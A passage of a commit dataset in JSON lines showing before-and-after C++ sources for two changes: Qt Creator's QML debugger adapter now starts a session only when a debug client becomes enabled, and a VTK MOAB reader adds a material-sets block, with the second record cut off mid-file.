{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n**\n** GNU Lesser General Public License Usage\n**\n** This file may be used under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation and\n** appearing in the file LICENSE.LGPL included in the packaging of this file.\n** Please review the following information to ensure the GNU Lesser General\n** Public License version 2.1 requirements will be met:\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** Other Usage\n**\n** Alternatively, this file may be used in accordance with the terms and\n** conditions contained in a signed written agreement between you and Nokia.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"qmladapter.h\"\n\n#include \"debuggerstartparameters.h\"\n#include \"qscriptdebuggerclient.h\"\n#include \"qmlv8debuggerclient.h\"\n#include \"qmljsprivateapi.h\"\n\n#include \"qmlengine.h\"\n\n#include <extensionsystem\/pluginmanager.h>\n#include <utils\/qtcassert.h>\n\n#include <qmljsdebugclient\/qdebugmessageclient.h>\n\n#include <QtCore\/QTimer>\n#include <QtCore\/QDebug>\n\nnamespace Debugger {\nnamespace Internal {\n\nclass QmlAdapterPrivate\n{\npublic:\n    explicit QmlAdapterPrivate(DebuggerEngine *engine)\n        : m_engine(engine)\n        , m_qmlClient(0)\n        , m_engineDebugClient(0)\n        , m_conn(0)\n        , m_currentSelectedDebugId(-1)\n        , m_msgClient(0)\n    {\n        m_connectionTimer.setInterval(4000);\n        m_connectionTimer.setSingleShot(true);\n    }\n\n    QWeakPointer<DebuggerEngine> m_engine;\n    QmlDebuggerClient *m_qmlClient;\n    QmlJsDebugClient::QDeclarativeEngineDebug *m_engineDebugClient;\n    QTimer m_connectionTimer;\n    QDeclarativeDebugConnection *m_conn;\n    QHash<QString, QmlDebuggerClient*> debugClients;\n    int m_currentSelectedDebugId;\n    QString m_currentSelectedDebugName;\n    QmlJsDebugClient::QDebugMessageClient *m_msgClient;\n};\n\n} \/\/ namespace Internal\n\nQmlAdapter::QmlAdapter(DebuggerEngine *engine, QObject *parent)\n    : QObject(parent), d(new Internal::QmlAdapterPrivate(engine))\n{\n    connect(&d->m_connectionTimer, SIGNAL(timeout()), SLOT(checkConnectionState()));\n    d->m_conn = new QDeclarativeDebugConnection(this);\n    connect(d->m_conn, SIGNAL(stateChanged(QAbstractSocket::SocketState)),\n            SLOT(connectionStateChanged()));\n    connect(d->m_conn, SIGNAL(error(QAbstractSocket::SocketError)),\n            SLOT(connectionErrorOccurred(QAbstractSocket::SocketError)));\n\n    ExtensionSystem::PluginManager *pluginManager =\n        ExtensionSystem::PluginManager::instance();\n    pluginManager->addObject(this);\n\n    createDebuggerClients();\n    d->m_msgClient = new QmlJsDebugClient::QDebugMessageClient(d->m_conn);\n    connect(d->m_msgClient, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(clientStatusChanged(QDeclarativeDebugClient::Status)));\n}\n\nQmlAdapter::~QmlAdapter()\n{\n    ExtensionSystem::PluginManager *pluginManager =\n        ExtensionSystem::PluginManager::instance();\n\n    if (pluginManager->allObjects().contains(this))\n        pluginManager->removeObject(this);\n    delete d;\n}\n\nvoid QmlAdapter::beginConnection()\n{\n    if (d->m_engine.isNull()\n            || (d->m_conn && d->m_conn->state() != QAbstractSocket::UnconnectedState))\n        return;\n\n    const DebuggerStartParameters &parameters = d->m_engine.data()->startParameters();\n    if (parameters.communicationChannel == DebuggerStartParameters::CommunicationChannelUsb) {\n        const QString &port = parameters.remoteChannel;\n        showConnectionStatusMessage(tr(\"Connecting to debug server on %1\").arg(port));\n        d->m_conn->connectToOst(port);\n    } else {\n        const QString &address = parameters.qmlServerAddress;\n        quint16 port = parameters.qmlServerPort;\n        showConnectionStatusMessage(tr(\"Connecting to debug server %1:%2\").arg(address).arg(QString::number(port)));\n        d->m_conn->connectToHost(address, port);\n    }\n\n    \/\/A timeout to check the connection state\n    d->m_connectionTimer.start();\n}\n\nvoid QmlAdapter::closeConnection()\n{\n    if (d->m_connectionTimer.isActive()) {\n        d->m_connectionTimer.stop();\n    } else {\n        if (d->m_conn) {\n            d->m_conn->close();\n        }\n    }\n}\n\nvoid QmlAdapter::connectionErrorOccurred(QAbstractSocket::SocketError socketError)\n{\n    showConnectionStatusMessage(tr(\"Error: (%1) %2\", \"%1=error code, %2=error message\")\n                                .arg(socketError).arg(d->m_conn->errorString()));\n\n    \/\/ this is only an error if we are already connected and something goes wrong.\n    if (isConnected()) {\n        emit connectionError(socketError);\n    } else {\n        d->m_connectionTimer.stop();\n        emit connectionStartupFailed();\n    }\n}\n\nvoid QmlAdapter::clientStatusChanged(QDeclarativeDebugClient::Status status)\n{\n    QString serviceName;\n    if (QDeclarativeDebugClient *client = qobject_cast<QDeclarativeDebugClient*>(sender()))\n        serviceName = client->name();\n\n    logServiceStatusChange(serviceName, status);\n}\n\nvoid QmlAdapter::debugClientStatusChanged(QDeclarativeDebugClient::Status \/*status*\/)\n{\n    QDeclarativeDebugClient *client = qobject_cast<QDeclarativeDebugClient*>(sender());\n    QTC_ASSERT(client, return);\n\n    d->m_qmlClient =  qobject_cast<Internal::QmlDebuggerClient *>(client);\n    d->m_qmlClient->startSession();\n}\n\nvoid QmlAdapter::connectionStateChanged()\n{\n    switch (d->m_conn->state()) {\n    case QAbstractSocket::UnconnectedState:\n    {\n        showConnectionStatusMessage(tr(\"disconnected.\\n\\n\"));\n        emit disconnected();\n\n        break;\n    }\n    case QAbstractSocket::HostLookupState:\n        showConnectionStatusMessage(tr(\"resolving host...\"));\n        break;\n    case QAbstractSocket::ConnectingState:\n        showConnectionStatusMessage(tr(\"connecting to debug server...\"));\n        break;\n    case QAbstractSocket::ConnectedState:\n    {\n        showConnectionStatusMessage(tr(\"connected.\\n\"));\n\n        d->m_connectionTimer.stop();\n\n        \/\/reloadEngines();\n        emit connected();\n        break;\n    }\n    case QAbstractSocket::ClosingState:\n        showConnectionStatusMessage(tr(\"closing...\"));\n        break;\n    case QAbstractSocket::BoundState:\n    case QAbstractSocket::ListeningState:\n        break;\n    }\n}\n\nvoid QmlAdapter::checkConnectionState()\n{\n    if (!isConnected()) {\n        closeConnection();\n        emit connectionStartupFailed();\n    }\n}\n\nvoid QmlAdapter::createDebuggerClients()\n{\n\n    Internal::QScriptDebuggerClient *client1 = new Internal::QScriptDebuggerClient(d->m_conn);\n    connect(client1, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(clientStatusChanged(QDeclarativeDebugClient::Status)));\n    connect(client1, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(debugClientStatusChanged(QDeclarativeDebugClient::Status)));\n\n    Internal::QmlV8DebuggerClient *client2 = new Internal::QmlV8DebuggerClient(d->m_conn);\n    connect(client2, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(clientStatusChanged(QDeclarativeDebugClient::Status)));\n    connect(client2, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(debugClientStatusChanged(QDeclarativeDebugClient::Status)));\n\n    d->debugClients.insert(client1->name(),client1);\n    d->debugClients.insert(client2->name(),client2);\n\n\n    client1->setEngine((Internal::QmlEngine*)(d->m_engine.data()));\n    client2->setEngine((Internal::QmlEngine*)(d->m_engine.data()));\n\n    \/\/engine->startSuccessful();  \/\/ FIXME: AAA: port to new debugger states\n}\n\nbool QmlAdapter::isConnected() const\n{\n    return d->m_conn && d->m_qmlClient && d->m_conn->state() == QAbstractSocket::ConnectedState;\n}\n\nQDeclarativeDebugConnection *QmlAdapter::connection() const\n{\n    return d->m_conn;\n}\n\nDebuggerEngine *QmlAdapter::debuggerEngine() const\n{\n    return d->m_engine.data();\n}\n\nvoid QmlAdapter::showConnectionStatusMessage(const QString &message)\n{\n    if (!d->m_engine.isNull())\n        d->m_engine.data()->showMessage(QLatin1String(\"QML Debugger: \") + message, LogStatus);\n}\n\nvoid QmlAdapter::showConnectionErrorMessage(const QString &message)\n{\n    if (!d->m_engine.isNull())\n        d->m_engine.data()->showMessage(QLatin1String(\"QML Debugger: \") + message, LogError);\n}\n\nbool QmlAdapter::disableJsDebugging(bool block)\n{\n    if (d->m_engine.isNull())\n        return block;\n\n    bool isBlocked = d->m_engine.data()->state() == InferiorRunOk;\n\n    if (isBlocked == block)\n        return block;\n\n    if (block) {\n        d->m_engine.data()->continueInferior();\n    } else {\n        d->m_engine.data()->requestInterruptInferior();\n    }\n\n    return isBlocked;\n}\n\nInternal::QmlDebuggerClient *QmlAdapter::activeDebuggerClient()\n{\n    return d->m_qmlClient;\n}\n\nQHash<QString, Internal::QmlDebuggerClient*> QmlAdapter::debuggerClients()\n{\n    return d->debugClients;\n}\n\nQmlJsDebugClient::QDeclarativeEngineDebug *QmlAdapter::engineDebugClient() const\n{\n    return d->m_engineDebugClient;\n}\n\nvoid QmlAdapter::setEngineDebugClient(QmlJsDebugClient::QDeclarativeEngineDebug *client)\n{\n    d->m_engineDebugClient = client;\n}\n\nQmlJsDebugClient::QDebugMessageClient *QmlAdapter::messageClient() const\n{\n    return d->m_msgClient;\n}\n\nint QmlAdapter::currentSelectedDebugId() const\n{\n    return d->m_currentSelectedDebugId;\n}\n\nQString QmlAdapter::currentSelectedDisplayName() const\n{\n    return d->m_currentSelectedDebugName;\n}\n\nvoid QmlAdapter::setCurrentSelectedDebugInfo(int currentDebugId, const QString &displayName)\n{\n    d->m_currentSelectedDebugId = currentDebugId;\n    d->m_currentSelectedDebugName = displayName;\n    emit selectionChanged();\n}\n\nvoid QmlAdapter::logServiceStatusChange(const QString &service,\n                                        QDeclarativeDebugClient::Status newStatus)\n{\n    switch (newStatus) {\n    case QDeclarativeDebugClient::Unavailable: {\n        showConnectionStatusMessage(tr(\"Status of '%1' changed to 'unavailable'.\").arg(service));\n        break;\n    }\n    case QDeclarativeDebugClient::Enabled: {\n        showConnectionStatusMessage(tr(\"Status of '%1' changed to 'enabled'.\").arg(service));\n        break;\n    }\n\n    case QDeclarativeDebugClient::NotConnected: {\n        showConnectionStatusMessage(tr(\"Status of '%1' changed to 'not connected'.\").arg(service));\n        break;\n    }\n    }\n}\n\nvoid QmlAdapter::logServiceActivity(const QString &service, const QString &logMessage)\n{\n    if (!d->m_engine.isNull())\n        d->m_engine.data()->showMessage(service + QLatin1Char(' ') + logMessage, LogDebug);\n}\n\n} \/\/ namespace Debugger\n<commit_msg>QmlAdapter: Set the debug client when status is enabled<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n**\n** GNU Lesser General Public License Usage\n**\n** This file may be used under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation and\n** appearing in the file LICENSE.LGPL included in the packaging of this file.\n** Please review the following information to ensure the GNU Lesser General\n** Public License version 2.1 requirements will be met:\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** Other Usage\n**\n** Alternatively, this file may be used in accordance with the terms and\n** conditions contained in a signed written agreement between you and Nokia.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"qmladapter.h\"\n\n#include \"debuggerstartparameters.h\"\n#include \"qscriptdebuggerclient.h\"\n#include \"qmlv8debuggerclient.h\"\n#include \"qmljsprivateapi.h\"\n\n#include \"qmlengine.h\"\n\n#include <extensionsystem\/pluginmanager.h>\n#include <utils\/qtcassert.h>\n\n#include <qmljsdebugclient\/qdebugmessageclient.h>\n\n#include <QtCore\/QTimer>\n#include <QtCore\/QDebug>\n\nnamespace Debugger {\nnamespace Internal {\n\nclass QmlAdapterPrivate\n{\npublic:\n    explicit QmlAdapterPrivate(DebuggerEngine *engine)\n        : m_engine(engine)\n        , m_qmlClient(0)\n        , m_engineDebugClient(0)\n        , m_conn(0)\n        , m_currentSelectedDebugId(-1)\n        , m_msgClient(0)\n    {\n        m_connectionTimer.setInterval(4000);\n        m_connectionTimer.setSingleShot(true);\n    }\n\n    QWeakPointer<DebuggerEngine> m_engine;\n    QmlDebuggerClient *m_qmlClient;\n    QmlJsDebugClient::QDeclarativeEngineDebug *m_engineDebugClient;\n    QTimer m_connectionTimer;\n    QDeclarativeDebugConnection *m_conn;\n    QHash<QString, QmlDebuggerClient*> debugClients;\n    int m_currentSelectedDebugId;\n    QString m_currentSelectedDebugName;\n    QmlJsDebugClient::QDebugMessageClient *m_msgClient;\n};\n\n} \/\/ namespace Internal\n\nQmlAdapter::QmlAdapter(DebuggerEngine *engine, QObject *parent)\n    : QObject(parent), d(new Internal::QmlAdapterPrivate(engine))\n{\n    connect(&d->m_connectionTimer, SIGNAL(timeout()), SLOT(checkConnectionState()));\n    d->m_conn = new QDeclarativeDebugConnection(this);\n    connect(d->m_conn, SIGNAL(stateChanged(QAbstractSocket::SocketState)),\n            SLOT(connectionStateChanged()));\n    connect(d->m_conn, SIGNAL(error(QAbstractSocket::SocketError)),\n            SLOT(connectionErrorOccurred(QAbstractSocket::SocketError)));\n\n    ExtensionSystem::PluginManager *pluginManager =\n        ExtensionSystem::PluginManager::instance();\n    pluginManager->addObject(this);\n\n    createDebuggerClients();\n    d->m_msgClient = new QmlJsDebugClient::QDebugMessageClient(d->m_conn);\n    connect(d->m_msgClient, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(clientStatusChanged(QDeclarativeDebugClient::Status)));\n}\n\nQmlAdapter::~QmlAdapter()\n{\n    ExtensionSystem::PluginManager *pluginManager =\n        ExtensionSystem::PluginManager::instance();\n\n    if (pluginManager->allObjects().contains(this))\n        pluginManager->removeObject(this);\n    delete d;\n}\n\nvoid QmlAdapter::beginConnection()\n{\n    if (d->m_engine.isNull()\n            || (d->m_conn && d->m_conn->state() != QAbstractSocket::UnconnectedState))\n        return;\n\n    const DebuggerStartParameters &parameters = d->m_engine.data()->startParameters();\n    if (parameters.communicationChannel == DebuggerStartParameters::CommunicationChannelUsb) {\n        const QString &port = parameters.remoteChannel;\n        showConnectionStatusMessage(tr(\"Connecting to debug server on %1\").arg(port));\n        d->m_conn->connectToOst(port);\n    } else {\n        const QString &address = parameters.qmlServerAddress;\n        quint16 port = parameters.qmlServerPort;\n        showConnectionStatusMessage(tr(\"Connecting to debug server %1:%2\").arg(address).arg(QString::number(port)));\n        d->m_conn->connectToHost(address, port);\n    }\n\n    \/\/A timeout to check the connection state\n    d->m_connectionTimer.start();\n}\n\nvoid QmlAdapter::closeConnection()\n{\n    if (d->m_connectionTimer.isActive()) {\n        d->m_connectionTimer.stop();\n    } else {\n        if (d->m_conn) {\n            d->m_conn->close();\n        }\n    }\n}\n\nvoid QmlAdapter::connectionErrorOccurred(QAbstractSocket::SocketError socketError)\n{\n    showConnectionStatusMessage(tr(\"Error: (%1) %2\", \"%1=error code, %2=error message\")\n                                .arg(socketError).arg(d->m_conn->errorString()));\n\n    \/\/ this is only an error if we are already connected and something goes wrong.\n    if (isConnected()) {\n        emit connectionError(socketError);\n    } else {\n        d->m_connectionTimer.stop();\n        emit connectionStartupFailed();\n    }\n}\n\nvoid QmlAdapter::clientStatusChanged(QDeclarativeDebugClient::Status status)\n{\n    QString serviceName;\n    if (QDeclarativeDebugClient *client = qobject_cast<QDeclarativeDebugClient*>(sender()))\n        serviceName = client->name();\n\n    logServiceStatusChange(serviceName, status);\n}\n\nvoid QmlAdapter::debugClientStatusChanged(QDeclarativeDebugClient::Status status)\n{\n    if (status != QDeclarativeDebugClient::Enabled)\n        return;\n    QDeclarativeDebugClient *client = qobject_cast<QDeclarativeDebugClient*>(sender());\n    QTC_ASSERT(client, return);\n\n    d->m_qmlClient =  qobject_cast<Internal::QmlDebuggerClient *>(client);\n    d->m_qmlClient->startSession();\n}\n\nvoid QmlAdapter::connectionStateChanged()\n{\n    switch (d->m_conn->state()) {\n    case QAbstractSocket::UnconnectedState:\n    {\n        showConnectionStatusMessage(tr(\"disconnected.\\n\\n\"));\n        emit disconnected();\n\n        break;\n    }\n    case QAbstractSocket::HostLookupState:\n        showConnectionStatusMessage(tr(\"resolving host...\"));\n        break;\n    case QAbstractSocket::ConnectingState:\n        showConnectionStatusMessage(tr(\"connecting to debug server...\"));\n        break;\n    case QAbstractSocket::ConnectedState:\n    {\n        showConnectionStatusMessage(tr(\"connected.\\n\"));\n\n        d->m_connectionTimer.stop();\n\n        \/\/reloadEngines();\n        emit connected();\n        break;\n    }\n    case QAbstractSocket::ClosingState:\n        showConnectionStatusMessage(tr(\"closing...\"));\n        break;\n    case QAbstractSocket::BoundState:\n    case QAbstractSocket::ListeningState:\n        break;\n    }\n}\n\nvoid QmlAdapter::checkConnectionState()\n{\n    if (!isConnected()) {\n        closeConnection();\n        emit connectionStartupFailed();\n    }\n}\n\nvoid QmlAdapter::createDebuggerClients()\n{\n\n    Internal::QScriptDebuggerClient *client1 = new Internal::QScriptDebuggerClient(d->m_conn);\n    connect(client1, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(clientStatusChanged(QDeclarativeDebugClient::Status)));\n    connect(client1, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(debugClientStatusChanged(QDeclarativeDebugClient::Status)));\n\n    Internal::QmlV8DebuggerClient *client2 = new Internal::QmlV8DebuggerClient(d->m_conn);\n    connect(client2, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(clientStatusChanged(QDeclarativeDebugClient::Status)));\n    connect(client2, SIGNAL(newStatus(QDeclarativeDebugClient::Status)),\n            this, SLOT(debugClientStatusChanged(QDeclarativeDebugClient::Status)));\n\n    d->debugClients.insert(client1->name(),client1);\n    d->debugClients.insert(client2->name(),client2);\n\n\n    client1->setEngine((Internal::QmlEngine*)(d->m_engine.data()));\n    client2->setEngine((Internal::QmlEngine*)(d->m_engine.data()));\n\n    \/\/engine->startSuccessful();  \/\/ FIXME: AAA: port to new debugger states\n}\n\nbool QmlAdapter::isConnected() const\n{\n    return d->m_conn && d->m_qmlClient && d->m_conn->state() == QAbstractSocket::ConnectedState;\n}\n\nQDeclarativeDebugConnection *QmlAdapter::connection() const\n{\n    return d->m_conn;\n}\n\nDebuggerEngine *QmlAdapter::debuggerEngine() const\n{\n    return d->m_engine.data();\n}\n\nvoid QmlAdapter::showConnectionStatusMessage(const QString &message)\n{\n    if (!d->m_engine.isNull())\n        d->m_engine.data()->showMessage(QLatin1String(\"QML Debugger: \") + message, LogStatus);\n}\n\nvoid QmlAdapter::showConnectionErrorMessage(const QString &message)\n{\n    if (!d->m_engine.isNull())\n        d->m_engine.data()->showMessage(QLatin1String(\"QML Debugger: \") + message, LogError);\n}\n\nbool QmlAdapter::disableJsDebugging(bool block)\n{\n    if (d->m_engine.isNull())\n        return block;\n\n    bool isBlocked = d->m_engine.data()->state() == InferiorRunOk;\n\n    if (isBlocked == block)\n        return block;\n\n    if (block) {\n        d->m_engine.data()->continueInferior();\n    } else {\n        d->m_engine.data()->requestInterruptInferior();\n    }\n\n    return isBlocked;\n}\n\nInternal::QmlDebuggerClient *QmlAdapter::activeDebuggerClient()\n{\n    return d->m_qmlClient;\n}\n\nQHash<QString, Internal::QmlDebuggerClient*> QmlAdapter::debuggerClients()\n{\n    return d->debugClients;\n}\n\nQmlJsDebugClient::QDeclarativeEngineDebug *QmlAdapter::engineDebugClient() const\n{\n    return d->m_engineDebugClient;\n}\n\nvoid QmlAdapter::setEngineDebugClient(QmlJsDebugClient::QDeclarativeEngineDebug *client)\n{\n    d->m_engineDebugClient = client;\n}\n\nQmlJsDebugClient::QDebugMessageClient *QmlAdapter::messageClient() const\n{\n    return d->m_msgClient;\n}\n\nint QmlAdapter::currentSelectedDebugId() const\n{\n    return d->m_currentSelectedDebugId;\n}\n\nQString QmlAdapter::currentSelectedDisplayName() const\n{\n    return d->m_currentSelectedDebugName;\n}\n\nvoid QmlAdapter::setCurrentSelectedDebugInfo(int currentDebugId, const QString &displayName)\n{\n    d->m_currentSelectedDebugId = currentDebugId;\n    d->m_currentSelectedDebugName = displayName;\n    emit selectionChanged();\n}\n\nvoid QmlAdapter::logServiceStatusChange(const QString &service,\n                                        QDeclarativeDebugClient::Status newStatus)\n{\n    switch (newStatus) {\n    case QDeclarativeDebugClient::Unavailable: {\n        showConnectionStatusMessage(tr(\"Status of '%1' changed to 'unavailable'.\").arg(service));\n        break;\n    }\n    case QDeclarativeDebugClient::Enabled: {\n        showConnectionStatusMessage(tr(\"Status of '%1' changed to 'enabled'.\").arg(service));\n        break;\n    }\n\n    case QDeclarativeDebugClient::NotConnected: {\n        showConnectionStatusMessage(tr(\"Status of '%1' changed to 'not connected'.\").arg(service));\n        break;\n    }\n    }\n}\n\nvoid QmlAdapter::logServiceActivity(const QString &service, const QString &logMessage)\n{\n    if (!d->m_engine.isNull())\n        d->m_engine.data()->showMessage(service + QLatin1Char(' ') + logMessage, LogDebug);\n}\n\n} \/\/ namespace Debugger\n<|endoftext|>"}
{"text":"<commit_before>#include \"vtkMoabReader.h\"\n\n#include \"SimpleMoab.h\"\n#include \"DataSetConverter.h\"\n\n\n#include \"vtkNew.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkUnstructuredGrid.h\"\n\n#include \"vtkPolyData.h\"\n\n\nvtkStandardNewMacro(vtkMoabReader)\n\/\/------------------------------------------------------------------------------\nvtkMoabReader::vtkMoabReader()\n  {\n  this->SetNumberOfInputPorts(0);\n  this->FileName = NULL;\n  }\n\n\/\/------------------------------------------------------------------------------\nvtkMoabReader::~vtkMoabReader()\n  {\n  }\n\n\/\/------------------------------------------------------------------------------\nint vtkMoabReader::RequestInformation(vtkInformation *request,\n                       vtkInformationVector **inputVector,\n                       vtkInformationVector *outputVector)\n{\n\n  \/\/todo. Walk the file and display all the 2d and 3d elements that the users\n  \/\/could possibly want to load\n  return this->Superclass::RequestInformation(request,inputVector,outputVector);\n}\n\n\/\/------------------------------------------------------------------------------\nint vtkMoabReader::RequestData(vtkInformation *vtkNotUsed(request),\n                vtkInformationVector **vtkNotUsed(inputVector),\n                vtkInformationVector *outputVector)\n{\n  \/\/First pass is lets load in all 3d elements in a block called Volumes,\n  \/\/and load all 2d elements in a block called Surfaces\n\n  vtkInformation* outInfo = outputVector->GetInformationObject(0);\n  vtkMultiBlockDataSet *output =\n    vtkMultiBlockDataSet::SafeDownCast(outInfo->Get(vtkDataObject::DATA_OBJECT()));\n\n  vtkNew<vtkMultiBlockDataSet> volumeRoot;\n  vtkNew<vtkMultiBlockDataSet> boundaryRoot;\n  vtkNew<vtkMultiBlockDataSet> surfaceRoot;\n  vtkNew<vtkMultiBlockDataSet> neumannRoot;\n  vtkNew<vtkMultiBlockDataSet> dirichletRoot;\n\n  const int blockIndex = output->GetNumberOfBlocks();\n  output->SetBlock(blockIndex,volumeRoot.GetPointer());\n  output->SetBlock(blockIndex+1,boundaryRoot.GetPointer());\n  output->SetBlock(blockIndex+2,surfaceRoot.GetPointer());\n  output->SetBlock(blockIndex+3,neumannRoot.GetPointer());\n  output->SetBlock(blockIndex+4,dirichletRoot.GetPointer());\n\n  \/\/boring work, set the names of the blocks\n  output->GetMetaData(blockIndex)->Set(vtkCompositeDataSet::NAME(), \"Volumes\");\n  output->GetMetaData(blockIndex+1)->Set(vtkCompositeDataSet::NAME(), \"Boundary\");\n  output->GetMetaData(blockIndex+2)->Set(vtkCompositeDataSet::NAME(), \"Surfaces\");\n  output->GetMetaData(blockIndex+3)->Set(vtkCompositeDataSet::NAME(), \"Neumann Sets\");\n  output->GetMetaData(blockIndex+4)->Set(vtkCompositeDataSet::NAME(), \"Dirichlet Sets\");\n\n  smoab::GeomTag geom3Tag(3);\n  smoab::GeomTag geom2Tag(2);\n  smoab::GeomTag geom1Tag(2);\n  smoab::NeumannTag neTag;\n  smoab::DirichletTag diTag;\n\n  smoab::Interface interface(this->FileName);\n  this->CreateSubBlocks(volumeRoot, &interface, &geom3Tag);\n  this->CreateSubBlocks(boundaryRoot, &interface, &geom3Tag, &geom2Tag);\n  this->CreateSubBlocks(boundaryRoot, &interface, &geom3Tag, &geom1Tag);\n\n  this->CreateSubBlocks(surfaceRoot, &interface, &geom2Tag);\n  this->CreateSubBlocks(neumannRoot, &interface, &neTag);\n  this->CreateSubBlocks(dirichletRoot, &interface, &diTag);\n\n  return 1;\n}\n\n\n\/\/------------------------------------------------------------------------------\nvoid vtkMoabReader::CreateSubBlocks(vtkNew<vtkMultiBlockDataSet> & root,\n                                    smoab::Interface* interface,\n                                    smoab::Tag const* parentTag,\n                                    smoab::Tag const* extractTag)\n{\n  if(!extractTag)\n    {\n    extractTag = parentTag;\n    }\n  \/\/basic premise: query the database for all tagged elements and create a new\n  \/\/multiblock elemenent for each\n  smoab::DataSetConverter converter(*interface,extractTag);\n  converter.readMaterialIds(true);\n  converter.readProperties(true);\n\n  smoab::EntityHandle rootHandle = interface->getRoot();\n  smoab::Range parents = interface->findEntityRootParents(rootHandle);\n  smoab::Range dimEnts = interface->findEntitiesWithTag(*parentTag,\n                                                       rootHandle);\n\n  smoab::Range geomParents = smoab::intersect(parents,dimEnts);\n\n  parents.clear(); \/\/remove this range as it is unneeded\n  dimEnts.clear();\n\n  \/\/now each item in range can be extracted into a different grid\n  typedef smoab::Range::iterator iterator;\n  vtkIdType index = 0;\n  for(iterator i=geomParents.begin(); i != geomParents.end(); ++i)\n    {\n    vtkNew<vtkUnstructuredGrid> block;\n    \/\/fill the dataset with geometry and properties\n    converter.fill(*i, block.GetPointer(),index);\n\n    \/\/only add it if we have cells found\n    if(block->GetNumberOfCells() > 0)\n      {\n      root->SetBlock(index,block.GetPointer());\n      std::string name = interface->name(*i);\n      if(name.size() > 0)\n        {\n        root->GetMetaData(index)->Set(vtkCompositeDataSet::NAME(), name.c_str());\n        }\n      ++index;\n      }\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid vtkMoabReader::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n}\n<commit_msg>Read in material sets and correct 1d shell reading<commit_after>#include \"vtkMoabReader.h\"\n\n#include \"SimpleMoab.h\"\n#include \"DataSetConverter.h\"\n\n\n#include \"vtkNew.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkUnstructuredGrid.h\"\n\n#include \"vtkPolyData.h\"\n\n\nvtkStandardNewMacro(vtkMoabReader)\n\/\/------------------------------------------------------------------------------\nvtkMoabReader::vtkMoabReader()\n  {\n  this->SetNumberOfInputPorts(0);\n  this->FileName = NULL;\n  }\n\n\/\/------------------------------------------------------------------------------\nvtkMoabReader::~vtkMoabReader()\n  {\n  }\n\n\/\/------------------------------------------------------------------------------\nint vtkMoabReader::RequestInformation(vtkInformation *request,\n                       vtkInformationVector **inputVector,\n                       vtkInformationVector *outputVector)\n{\n\n  \/\/todo. Walk the file and display all the 2d and 3d elements that the users\n  \/\/could possibly want to load\n  return this->Superclass::RequestInformation(request,inputVector,outputVector);\n}\n\n\/\/------------------------------------------------------------------------------\nint vtkMoabReader::RequestData(vtkInformation *vtkNotUsed(request),\n                vtkInformationVector **vtkNotUsed(inputVector),\n                vtkInformationVector *outputVector)\n{\n  \/\/First pass is lets load in all 3d elements in a block called Volumes,\n  \/\/and load all 2d elements in a block called Surfaces\n\n  vtkInformation* outInfo = outputVector->GetInformationObject(0);\n  vtkMultiBlockDataSet *output =\n    vtkMultiBlockDataSet::SafeDownCast(outInfo->Get(vtkDataObject::DATA_OBJECT()));\n\n  vtkNew<vtkMultiBlockDataSet> volumeRoot;\n  vtkNew<vtkMultiBlockDataSet> boundaryRoot;\n  vtkNew<vtkMultiBlockDataSet> surfaceRoot;\n  vtkNew<vtkMultiBlockDataSet> materialRoot;\n  vtkNew<vtkMultiBlockDataSet> neumannRoot;\n  vtkNew<vtkMultiBlockDataSet> dirichletRoot;\n\n  const int blockIndex = output->GetNumberOfBlocks();\n  output->SetBlock(blockIndex,volumeRoot.GetPointer());\n  output->SetBlock(blockIndex+1,boundaryRoot.GetPointer());\n  output->SetBlock(blockIndex+2,surfaceRoot.GetPointer());\n  output->SetBlock(blockIndex+3,materialRoot.GetPointer());\n  output->SetBlock(blockIndex+4,neumannRoot.GetPointer());\n  output->SetBlock(blockIndex+5,dirichletRoot.GetPointer());\n\n  \/\/boring work, set the names of the blocks\n  output->GetMetaData(blockIndex)->Set(vtkCompositeDataSet::NAME(), \"Volumes\");\n  output->GetMetaData(blockIndex+1)->Set(vtkCompositeDataSet::NAME(), \"Boundary\");\n  output->GetMetaData(blockIndex+2)->Set(vtkCompositeDataSet::NAME(), \"Surfaces\");\n  output->GetMetaData(blockIndex+3)->Set(vtkCompositeDataSet::NAME(), \"Material\");\n  output->GetMetaData(blockIndex+4)->Set(vtkCompositeDataSet::NAME(), \"Neumann Sets\");\n  output->GetMetaData(blockIndex+5)->Set(vtkCompositeDataSet::NAME(), \"Dirichlet Sets\");\n\n  